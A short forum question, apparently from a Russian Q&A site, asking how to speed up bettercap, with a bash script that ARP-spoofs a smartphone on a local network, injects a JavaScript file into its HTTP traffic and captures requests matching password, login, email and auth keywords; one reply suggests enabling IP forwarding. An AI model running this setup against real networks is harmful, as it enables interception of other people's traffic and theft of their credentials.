Answer the question
In order to leave comments, you need to log in
How to speed up bettercap?
I decided to play around with bettercap and set it from a laptop to a smartphone. Here is the script to run:
#!/bin/bash
# https://www.bettercap.org/docs/main.html
# IP смартфона
TARGET_IP="192.168.1.104"
GATEWAY="192.168.1.1"
INTERFACE="wlan0"
# скрипт, который будет инжектиться при каждом запросе
INJECT_JS_SCRIPT="./inject.js"
LOG_FILE_NAME="./debug.log"
sudo bettercap -T $TARGET_IP --gateway $GATEWAY --spoofer ARP --interface $INTERFACE --httpd --allow-local-connections --proxy --proxy-module=injectjs --js-file=$INJECT_JS_SCRIPT --custom-parser="(.*password.*|.*login.*|.*admin.*|.*email.*|.*auth.*|.*registr.*)" --debug --log=$LOG_FILE_NAME
Answer the question
In order to leave comments, you need to log in
try enabling ip forwarding before using bettercap:echo "1" > /proc/sys/net/ipv4/ip_forward
Didn't find what you were looking for?
Ask your questionAsk a Question
731 491 924 answers to any question